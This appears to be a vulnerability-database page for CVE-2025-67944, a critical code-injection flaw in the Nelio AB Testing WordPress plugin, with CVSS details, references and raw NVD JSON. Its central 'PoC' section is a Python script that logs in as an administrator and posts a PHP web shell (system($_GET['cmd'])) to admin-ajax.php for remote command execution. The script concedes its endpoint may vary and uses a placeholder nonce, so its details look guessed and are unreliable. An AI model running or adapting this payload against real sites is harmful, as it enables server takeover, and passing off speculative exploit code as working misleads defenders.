CVE-2025-67944

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Nelio Software Nelio AB Testing nelio-ab-testing allows Code Injection.This issue affects Nelio AB Testing: from n/a through <= 8.1.8.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Nelio AB Testing <= 8.1.8（所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-67944 PoC - Nelio AB Testing Code Injection
# Requires high privilege WordPress account

import requests
import json

target_url = "http://target-wordpress-site.com"
username = "admin"
password = "password"

# Login to WordPress
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/'
}
session.post(login_url, data=login_data)

# Inject malicious code through Nelio AB Testing plugin
# The exact endpoint and parameter may vary based on plugin version
injection_endpoint = f"{target_url}/wp-admin/admin-ajax.php"
payload = {
    'action': 'nelio_ab_testing_save_heatmaps',
    'experiment_id': '1',
    'code': '<?php system($_GET["cmd"]); ?>',  # Malicious code injection
    'nonce': 'attacker_known_nonce'  # Requires valid nonce from high privilege user
}

response = session.post(injection_endpoint, data=payload)
print(f"Response Status: {response.status_code}")
print(f"Response: {response.text}")

# If successful, attacker can execute commands via:
# http://target-wordpress-site.com/?cmd=whoami

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67944
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67944
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67944/
[4] VulDB https://vuldb.com/cve/CVE-2025-67944
[5] https://patchstack.com/database/Wordpress/Plugin/nelio-ab-testing/vulnerability/wordpress-nelio-ab-testing-plugin-8-1-8-arbitrary-code-execution-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67944", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:04.043", "lastModified": "2026-04-27T18:16:50.983", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Nelio Software Nelio AB Testing nelio-ab-testing allows Code Injection.This issue affects Nelio AB Testing: from n/a through <= 8.1.8."}, {"lang": "es", "value": "Vulnerabilidad de Control Inadecuado de la Generación de Código ('Inyección de Código') en Nelio Software Nelio AB Testing nelio-ab-testing permite la Inyección de Código. Este problema afecta a Nelio AB Testing: desde n/a hasta <= 8.1.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/nelio-ab-testing/vulnerability/wordpress-nelio-ab-testing-plugin-8-1-8-arbitrary-code-execution-vulnerability?_s_id=cve", "source": "[email protected]"}]}}